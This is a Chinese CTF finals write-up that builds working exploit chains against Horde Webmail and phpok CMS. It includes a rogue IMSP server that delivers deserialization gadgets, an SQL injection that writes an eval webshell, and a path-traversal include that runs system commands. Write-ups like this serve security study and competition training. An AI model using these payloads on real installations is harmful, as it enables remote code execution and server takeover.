QWB CTF2022 线下赛总决赛部分题解
# QWB CTF2022 线下赛总决赛部分题解
# webmail
horde-webmail 1day漏洞复现和利用链挖掘
漏洞披露文章:https://blog.sonarsource.com/horde-webmail-rce-via-email/
原文的漏洞利用链是在turba/merge.php路由可以通过构造source参数指定协议发送消息
//turba/merge.php
$source = Horde_Util::getFormData('source');
$key = Horde_Util::getFormData('key');
$mergeInto = Horde_Util::getFormData('merge_into');
$driver = $injector->getInstance('Turba_Factory_Driver')->create($source);
2
3
4
5
这里利用到了IMSP协议,能利用是因为他能够触发反序列化
//\Turba_Driver_Imsp::_read
...223
if (!empty($temp['__members'])) {
$tmembers = @unserialize($temp['__members']);
}
2
3
4
5
payload如下:
POST /turba/merge.php HTTP/1.1
Host: 192.168.182.145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.182.145/login.php?url=http%3A%2F%2F192.168.182.145%2Fturba%2Fmerge.php%3F_t%3D1661786247%26_h%3D2qomUg5IsxM5GtNaanKI_c4HZrQ&app=turba&logout_reason=100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: horde_secret_key=445h1jbi9c0pj53ttk1ajqg6jh; Horde=ed2s74617mvsuepqkigcnnahgs; XDEBUG_SESSION=XDEBUG_ECLIPSE;
Content-Type: application/x-www-form-urlencoded
Content-Length: 284
source[type]=Imsp&source[params][username]=2333&source[params][password]=111&source[params][server]=10.104.252.57&source[params][port]=12333&source[params][auth_method]=Plaintext&source[params][group_id_field]=name&source[params][group_id_value]=name&source[map][__members]=__members&
2
3
4
5
6
7
8
9
10
11
12
13
14
下面具体说一下如何构造请求,首先source[type]通过工厂模式构造一个Imsp客户端对象,通过fsockopen发包,调用栈如下:
params 参数从source[params]一路穿过来,在本地开服务器监听能接受到客户端的发包
下面具体分析一下协议
protected function _imspOpen()
{
$fp = @fsockopen($this->host, $this->port);
if (!$fp) {
$this->_logger->err('Connection to IMSP host failed.');
throw new Horde_Imsp_Exception('Connection to IMSP host failed.');
}
$this->_stream = $fp;
$server_response = $this->receive();
if (!preg_match("/^\* OK/", $server_response)) {
fclose($fp);
$this->_logger->err('Did not receive the expected response from the server.');
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
首先要返回个* OK表示服务端正常响应,否则会退出
然后authenticate,对于plaintext模式需要recevie回一个OK表示认证成功
protected function _authenticate()
{
$userId = $this->_params['username'];
$credentials = $this->_params['password'];
/* Start the command. */
$this->_imsp->send('LOGIN ', true, false);
/* Username as a {}? */
if (preg_match(Horde_Imsp_Client_Base::MUST_USE_LITERAL, $userId)) {
$biUser = sprintf('{%d}', strlen($userId));
$result = $this->_imsp->send($biUser, false, true, true);
}
$this->_imsp->send($userId . ' ', false, false);
/* Pass as {}? */
if (preg_match(Horde_Imsp_Client_Base::MUST_USE_LITERAL, $credentials)) {
$biPass = sprintf('{%d}', strlen($credentials));
$this->_imsp->send($biPass, false, true, true);
}
$this->_imsp->send($credentials, false, true);
$server_response = $this->_imsp->receive();
if ($server_response != 'OK') {
return false;
}
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
第一个是票据,receive的时候需要匹配票据才会返回ok
if (preg_match("/^" . $currentTag . " OK/", $server_response)) {
return 'OK';
}
2
3
到此imsp链接成功建立,回到merge.php
getObject会触发receive方法获取包,调用栈如下
会将receive到的数据,放到_parseFetchAddressResponse处理
$server_response = $this->_imsp->receive();
switch ($server_response) {
case 'BAD':
$this->_imsp->_logger->err('The IMSP server did not understand your request.');
throw new Horde_Imsp_Exception('The IMSP server did not understand your request');
case 'NO':
throw new Horde_Exception_NotFound('No entry in this address book matches your query.');
}
// Get the data in an associative array.
$entry = $this->_parseFetchAddressResponse($server_response);
2
3
4
5
6
7
8
9
10
11
这个函数长这样
protected function _parseFetchAddressResponse($server_response)
{
$abook = '';
if (!preg_match("/^\* FETCHADDRESS /", $server_response)) {
$this->_imsp->_logger->err('Did not receive a FETCHADDRESS response from server.');
throw new Horde_Imsp_Exception('Did not receive the expected response from the server.');
}
/* NOTES
* Parse out the server response string
*
* After choping off the server command response tags and
* explode()'ing the server_response string
* the $parts array contains the chunks of the server returned data.
*
* The predifined 'name' field starts in $parts[1].
* The server should return any single item of data
* that contains spaces within it as a double quoted string.
* So we can interpret the existence of a double quote at the beginning
* of a chunk to mean that the next chunk(s) are part of
* the same value. A double quote at the end of a chunk signifies the
* end of that value and the chunk following that can be interpreted
* as a key name.
*
* We also need to watch for the server returning a {} response for the
* value of the key as well. */
// Was the address book name a {}?
if (preg_match("/(^\* FETCHADDRESS )({)([0-9]{1,})(\}$)/",
$server_response, $tempArray)) {
$abook = $this->_imsp->receiveStringLiteral($tempArray[3]);
$chopped_response = trim($this->_imsp->receive());
} else {
// Take off the stuff from the beginning of the response
$chopped_response = trim(preg_replace("/^\* FETCHADDRESS /", '', $server_response));
}
$parts = explode(' ', $chopped_response);
/* If addres book was sent as a {} then we must 'push' a blank
* value to the start of this array so the rest of the routine
* will work with the correct indexes. */
if (!empty($abook)) {
array_unshift($parts, ' ');
}
// Was the address book name quoted?
$numOfParts = count($parts);
$name = $parts[0];
$firstNameIdx = 1;
$firstChar = substr($name, 0, 1);
if ($firstChar =="\"") {
for ($i = 1; $i < $numOfParts; $i++) {
$lastChar = substr($parts[$i], strlen($parts[$i]) - 1, 1);
$firstNameIdx++;
if ($lastChar == "\"") {
break;
}
}
}
// Now start working on the entry name
$name = $parts[$firstNameIdx];
$firstChar = substr($name,0,1);
// Check to see if the first char of the name string is a double quote
// so we know if we have to extract more of the name.
if ($firstChar == "\"") {
$name = ltrim($name, "\"");
for ($i = $firstNameIdx + 1; $i < $numOfParts; $i++) {
$name .= ' ' . $parts[$i];
$lastChar = substr($parts[$i], strlen($parts[$i]) - 1,1);
if ($lastChar == "\"") {
$name = rtrim($name, "\"");
$nextKey = $i + 1;
break;
}
}
// Check for {}
} elseif (preg_match('/\{(\d+)\}/', $name, $matches)) {
$name = $this->_imsp->receiveStringLiteral($matches[1]);
$response=$this->_imsp->receive();
$parts = explode(' ', $response);
$numOfParts = count($parts);
$nextKey = 0;
} else {
// If only one chunk for 'name' then we just have to point
// to the next chunk in the array...which will hopefully
// be '2'
$nextKey = $firstNameIdx + 1;
}
$lastChar = '';
$entry['name'] = $name;
// Start parsing the rest of the response.
for ($i = $nextKey; $i < $numOfParts; $i += 2) {
$key = $parts[$i];
/* Check for {} */
if (@preg_match(Horde_Imsp_Client_Base::OCTET_COUNT, $parts[$i+1], $tempArray)) {
$server_data = $this->_imsp->receiveStringLiteral($tempArray[2]);
$entry[$key] = $server_data;
/* Read any remaining data from the stream and reset
* the counter variables so the loop will continue
* correctly. Note we set $i to -2 because it will
* be incremented by 2 before the loop will run again */
$parts = $this->_imsp->getServerResponseChunks();
$i = -2;
$numOfParts = count($parts);
} else {
// Not a string literal response
@$entry[$key] = $parts[$i + 1];
// Check to see if the value started with a double
// quote. We also need to check if the last char is a
// quote to make sure we REALLY have to check the next
// elements for a closing quote.
if ((@substr($parts[$i + 1], 0, 1) == '"') &&
(substr($parts[$i + 1],
strlen($parts[$i + 1]) - 1, 1) != '"')) {
do {
$nextElement = $parts[$i+2];
// Was this element the last one?
$lastChar = substr($nextElement, strlen($nextElement) - 1, 1);
$entry[$key] .= ' ' . $nextElement;
// NOW, we can check the lastChar.
if ($lastChar == '"') {
$done = true;
$i++;
} else {
// Check to see if the next element is the
// last one. If so, the do loop will terminate.
$done = false;
$lastChar = substr($parts[$i+3], strlen($parts[$i+3]) - 1,1);
$i++;
}
} while ($lastChar != '"');
// Do we need to add the final element, or were
// there only two total?
if (!$done) {
$nextElement = $parts[$i+2];
$entry[$key] .= ' ' . $nextElement;
$i++;
}
// Remove the quotes sent back to us from the server.
if (substr($entry[$key], 0, 1) == '"') {
$entry[$key] = substr($entry[$key], 1, strlen($entry[$key]) - 2);
}
if (substr($entry[$key], strlen($entry[$key]) - 1, 1) == '"') {
$entry[$key] = substr($entry[$key], 0, strlen($entry[$key]) - 2);
}
} elseif ((@substr($parts[$i + 1], 0, 1) == '"') &&
(substr($parts[$i + 1], -1, 1) == '"')) {
// Remove the quotes sent back to us from the server.
if (substr($entry[$key], 0, 1) == '"') {
$entry[$key] = substr($entry[$key], 1, strlen($entry[$key]) - 2);
}
if (substr($entry[$key], -1, 1) == '"') {
$entry[$key] = substr($entry[$key], 0, strlen($entry[$key]) - 2);
}
}
}
}
return $entry;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
大致意思就是匹配* FETCHADDRESS 然后后面跟空格符分开的键值对,同时还写了自己的一些转义规则
写个服务 payload就能触发反序列化了,直接打就行。
一个坑点是需要driver->field的__members
属性被设置,这里也是为什么我们之前source[map][__members]=__members
的原因
$driver->map = $srcConfig['map'];
foreach ($driver->map as $mapkey => $val) {
if (!is_array($val)) {
$driver->fields[$mapkey] = $val;
}
}
2
3
4
5
6
然后就是找链子,原来phpggc的Horde1被删了,得找新的
这里最后用了俩链子,一个写文件一个移动文件,比赛的时候只给了login.php的读写权限,可以说很明显了。
rename的链子全局搜索下就能找到了。
<?php
class Horde_Auth_Passwd {
}
$end = new Horde_Auth_Passwd();
$end->_locked = true;
$end->_lockfile = "/tmp/log.txt";
$end->_params = array("filename"=>"/var/www/html/login.php");
echo serialize($end);
2
3
4
5
6
7
8
9
10
写文件的链子如下,膜一下sndav师傅
<?php
class Horde_Mail_Transport_Smtpmx{
}
class Horde_Db_Adapter_Mysqli{
}
class Horde_SyncMl_Backend{
}
$end = new Horde_SyncMl_Backend();
$end->_debugDir = "/tmp/";
$end->_logtext = "<?=phpinfo();?>";
$mid = new Horde_Db_Adapter_Mysqli();
$mid->_connection = $end;
$start = new Horde_Mail_Transport_Smtpmx();
$start->_smtp = $mid;
echo urlencode(serialize($start));
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
\Horde_Mail_Transport_Smtpmx::__destruct
-> \Horde_Db_Adapter_Mysqli::disconnect
->\Horde_Mail_Transport_Smtpmx::close()
打完可以发现修改成功
exp如下
request
POST /turba/merge.php HTTP/1.1
Host: 192.168.182.145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.182.145/login.php?url=http%3A%2F%2F192.168.182.145%2Fturba%2Fmerge.php%3F_t%3D1661786247%26_h%3D2qomUg5IsxM5GtNaanKI_c4HZrQ&app=turba&logout_reason=100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: horde_secret_key=445h1jbi9c0pj53ttk1ajqg6jh; Horde=ed2s74617mvsuepqkigcnnahgs; XDEBUG_SESSION=XDEBUG_ECLIPSE;
Content-Type: application/x-www-form-urlencoded
Content-Length: 283
source[type]=Imsp&source[params][username]=2333&source[params][password]=111&source[params][server]=192.168.182.1&source[params][port]=3555&source[params][auth_method]=Plaintext&source[params][group_id_field]=name&source[params][group_id_value]=name&source[map][__members]=__members&
2
3
4
5
6
7
8
9
10
11
12
13
14
server
import socketserver, threading,sys
#payload = b'O:27:"Horde_Mail_Transport_Smtpmx":1:{s:5:"_smtp";O:23:"Horde_Db_Adapter_Mysqli":1:{s:11:"_connection";O:20:"Horde_SyncMl_Backend":2:{s:9:"_debugDir";s:5:"/tmp/";s:8:"_logtext";s:15:"<?=phpinfo();?>";}}}'
payload = b'O:17:"Horde_Auth_Passwd":3:{s:7:"_locked";b:1;s:9:"_lockfile";s:12:"/tmp/log.txt";s:7:"_params";a:1:{s:8:"filename";s:23:"/var/www/html/login.php";}}'
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'* OK \r\n')
self.data = self.rfile.readline().strip()
data = self.data.split(b" ")
current_tag = data[0]
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(current_tag+b' OK\r\n')
self.request.sendall(b'* FETCHADDRESS name name __members '+payload+b'\r\n')
self.request.sendall(b'OK\r\n')
with socketserver.TCPServer(('0.0.0.0', 3555), MyTCPHandler) as server:
server.serve_forever()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# cms
realworld phpok代码审计
代码审计,首先是控制器方法的访问方式,
example:
/api.php?c=gateway&f=index
能访问到/framework/api/gateway_control.php
的index_f
方法
两个漏洞组合攻击
一个是任意文件写
在login_control::update_f
中,存在
$this->lib('file')->vim($this->lib('json')->encode($data),$this->dir_cache.$fid.'-'.$fcode.'.php');
这里的$data
是外部传入quickcode通过token_lib解码的结果,内容可控
<?php
$quickcode = $this->get('quickcode','html');
if($quickcode){
$file = $this->dir_cache.$fid.'.php';
if(!file_exists($file)){
$this->error(P_Lang('验证文件丢失,请重新扫码'));
}
$keyid = $this->lib('file')->cat($file);
$this->lib('token')->keyid($keyid);
$msg = $this->lib('token')->decode($quickcode);
2
3
4
5
6
7
8
9
10
11
12
13
sql检查时存在sql注入
$rs = $this->model('admin')->get_one($msg['id']);
#没有验证account
if(!$rs || $rs['account'] != $msg['user']){
$this->error(P_Lang('账号不一致'));
}
2
3
4
5
<?php
/**
* 取得一条管理员数据
* @参数 $id 参数值
* @参数 $field 参数名称,可选:account,id
**/
public function get_one($id,$field="id")
{
if(!$id){
return false;
}
$sql = "SELECT * FROM ".$this->db->prefix."adm WHERE ".$field."='".$id."'";
var_dump("get_one",$sql);
return $this->db->get_one($sql);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
因此内容可控,可以构造token
<?php
/**
* 加密及解密(支持两种模式,RSA 和 Token 模式)
* @作者 苏相锟 <[email protected]>
* @版权 深圳市锟铻科技有限公司 / 苏相锟
* @主页 https://www.phpok.com
* @版本 5.x
* @授权 GNU Lesser General Public License https://www.phpok.com/lgpl.html
* @时间 2020年12月21日
**/
/**
* 安全限制,防止直接访问
**/
// if(!defined("PHPOK_SET")){
// exit("<h1>Access Denied</h1>");
// }
class token_lib
{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;
private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
private $public_key = '';
private $private_key = '';
public function __construct()
{
$this->time = time();
}
public function etype($type="")
{
if($type && in_array($type,array('api_code','public_key'))){
$this->encode_type = $type;
}
return $this->encode_type;
}
public function public_key($key='')
{
if($key){
$this->public_key = $key;
}
return $this->public_key;
}
public function private_key($key='')
{
if($key){
$this->private_key = $key;
}
return $this->private_key;
}
/**
* 自定义密钥
* @参数 $keyid 密钥内容
**/
public function keyid($keyid='')
{
if(!$keyid){
return $this->keyid;
}
$this->keyid = strtolower(md5($keyid));
$this->config();
return $this->keyid;
}
private function config()
{
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}
/**
* 设置超时
* @参数 $time 超时时间,单位是秒
**/
public function expiry($time=0)
{
if($time && $time > 0){
$this->expiry = $time;
}
return $this->expiry;
}
/**
* 加密数据
* @参数 $string 要加密的数据,数组或字符
**/
public function encode($string)
{
var_dump("token_lib::encode called");
if($this->encode_type == 'public_key'){
return $this->encode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
}
/**
* 基于公钥加密
**/
private function encode_rsa($string)
{
if(!$this->public_key){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
openssl_public_encrypt($string,$data,$this->public_key);
return base64_encode($data);
}
/**
* 解密
* @参数 $string 要解密的字串
**/
public function decode($string)
{
var_dump("token_lib::decode called",$this->encode_type);
if($this->encode_type == 'public_key'){
return $this->decode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = str_replace(' ','+',$string);
$keyc = substr($string, 0, $this->keyc_length);
$string = base64_decode(substr($string, $this->keyc_length));
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
$info = substr($rs, 26);
return json_decode($info,true);
}
return false;
}
/**
* 基于私钥解密
**/
public function decode_rsa($string)
{
if(!$this->private_key){
return false;
}
$string = str_replace(' ','+',$string);
openssl_private_decrypt(base64_decode($string),$data,$this->private_key);
if($data){
return json_decode($data,true);
}
return false;
}
public function create($email='')
{
if(!$email){
$email = '[email protected]';
}
$dn = array();
$dn['countryName'] = 'CN';
$dn['stateOrProvinceName'] = 'Guangdong';
$dn['localityName'] = 'Shenzhen';
$dn['organizationName'] = 'MySelf';
$dn['organizationalUnitName'] = 'Whatever';
$dn['commonName'] = 'WebSite';
$dn['emailAddress'] = $email;
$numberofdays = 365;
try{
$privkey = openssl_pkey_new(array("digest_alg"=>"sha512",'private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
$res = openssl_pkey_new($config);
openssl_pkey_export($res, $private_key);
$public_key = openssl_pkey_get_details($res);
$public_key=$public_key["key"];
return array('public_key'=>$public_key,'private_key'=>$private_key);
}catch(\Exception $e){
return false;
}
}
private function core($string,$cryptkey)
{
$key_length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
}
$t = new token_lib();
$f = ["id"=>"0' union select '<?php eval(\$_REQUEST[0]);?>','admin',3,4,5,6,7,8,9,10,11-- ","user"=>"admin","time"=>time(),"domain"=>"localhost"];
$t->keyid(file_get_contents("../../index.php"));
$s=$t->encode($f);
echo $s;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
一个是任意文件包含
在
class gateway_control extends phpok_control
{
....
public function index_f()
{
...
$file = $this->get('file');
if(!$file){
$file = 'exec';
}
$exec_file = $this->dir_gateway.$rs['type'].'/'.$rs['code'].'/'.$file.'.php';
if(!is_file($exec_file)){
$this->error(P_Lang('要运行的文件{file}不存在',array('file'=>$file)));
}
//
$this->gateway($file.'.php','json');
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
这里的gateway实际上是父类_init_phpok
的方法
/**
* 第三方网关执行
* @参数 $action 要执行的网关,param表示读取网关信息,extinfo表示变更网关扩展信息extinfo,exec表示网关路由文件的执行
* @参数 $param action为param时表示网关ID,default表示读默认网关,action为extinfo时,param表示内容,
* action为exec时表示输出方式,为空返回,支持json,action为check时表示检测网关是否存在
**/
final public function gateway($action,$param='')
{
if($action == 'type'){
$this->gateway['type'] = $param;
return true;
}
if($action == 'param'){
if($param == 'default'){
$info = $this->model('gateway')->get_default($this->gateway['type']);
}elseif(is_numeric($param)){
$info = $this->model('gateway')->get_one($param);
}else{
$info = $param;
}
if($info){
$this->gateway['param'] = $info;
}
return true;
}
if($action == 'extinfo'){
$this->gateway['extinfo'] = $param;
}
if($action == 'exec' || substr($action,-4) == '.php'){
if(!$this->gateway['param']){
return false;
}
$file = $action == 'exec' ? 'exec.php' : $action;
$rs = $this->gateway['param'];
if($action == 'exec' && $param){
$extinfo = $param;
}else{
$extinfo = $this->gateway['extinfo'];
}
// 路径穿越
$exec_file = $this->dir_gateway.''.$this->gateway['param']['type'].'/'.$this->gateway['param']['code'].'/'.$file;
$info = false;
var_dump("__init__phpok.php",$exec_file);
if(file_exists($exec_file)){
$info = include $exec_file;
}
if($param == 'json'){
if(!$info){
$this->error();
}
exit($this->lib('json')->encode($info));
}else{
return $info;
}
}
if($action == 'check'){
return $this->gateway['param'] ? true : false;
}
if(!$this->gateway['param']){
return false;
}
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
俩一结合就能得到最终 exp
token = "f93173L04jvEehJ4U/Q8cRIOIRiD1vDf6FAC3z7bFjqkax/cEUMTqFsDG2MkfWKYh4a2q0y1r9awyZBJI73QIFX3gnvJ+blTwnoFyP8YBlau55fXyzAb+z1pNYtph/9rLxUiutbvrqp+A03eL1Kk+Jx/v4jX0WDb85gqnwWJsK4yfW+3gyHLJK1xdSibqZt17E5P0OtQ2VH8WQcHfFVAD1tP/hAYaJeJcy"
res = s.get(f"{url}/admin.php?c=login&f=update",params={"fid":"../index","fcode":"/../../../../../../../../tmp/ekime","quickcode":token})
print(res.status_code,res.text)
res = s.post(f"{url}/api.php?c=gateway&f=index",params={"id":"13","file":"../../../../../../../../../tmp/ekime","0":"system('cat /flaaaaaaggggggggggg');"})
print(res.text)
2
3
4
5
6
7
8